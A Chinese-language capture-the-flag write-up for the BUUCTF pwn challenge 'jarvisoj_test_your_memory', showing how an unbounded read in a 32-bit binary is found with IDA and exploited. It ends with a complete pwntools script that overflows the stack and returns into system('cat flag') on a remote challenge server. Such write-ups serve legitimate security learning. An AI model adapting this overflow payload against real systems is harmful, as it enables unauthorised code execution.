[BUUCTF]PWN——jarvisoj_test_your_memory

jarvisoj_test_your_memory

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
    在这里插入图片描述
  2. 试运行一下程序,看看大概的情况
    在这里插入图片描述
  3. 32位ida打开,习惯性的检索程序里的字符串,看到了有关flag的提示,
    在这里插入图片描述
    双击跟进,找到了这个字符串的地址,
    在这里插入图片描述
  4. 从main函数开始看程序
    在这里插入图片描述
    mem_test函数
    在这里插入图片描述
    没有限制长度的读入,存在溢出漏洞,由于之前检索字符串的时候发现程序里调用了system函数,可以直接利用,可以覆盖ret为system函数,去执行system(‘cat flag’)读出flag
    在这里插入图片描述
    完整exp:
from pwn import *
 
r =remote('node3.buuoj.cn',25283)
 
 
system_plt = 0x8048440
cat_flag = 0x80487e0
 
payload = 'a' * (0x13+4) + p32(system_plt) + p32(0x8048677) + p32(cat_flag)
 
r.sendline(payload)
 
r.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273673.html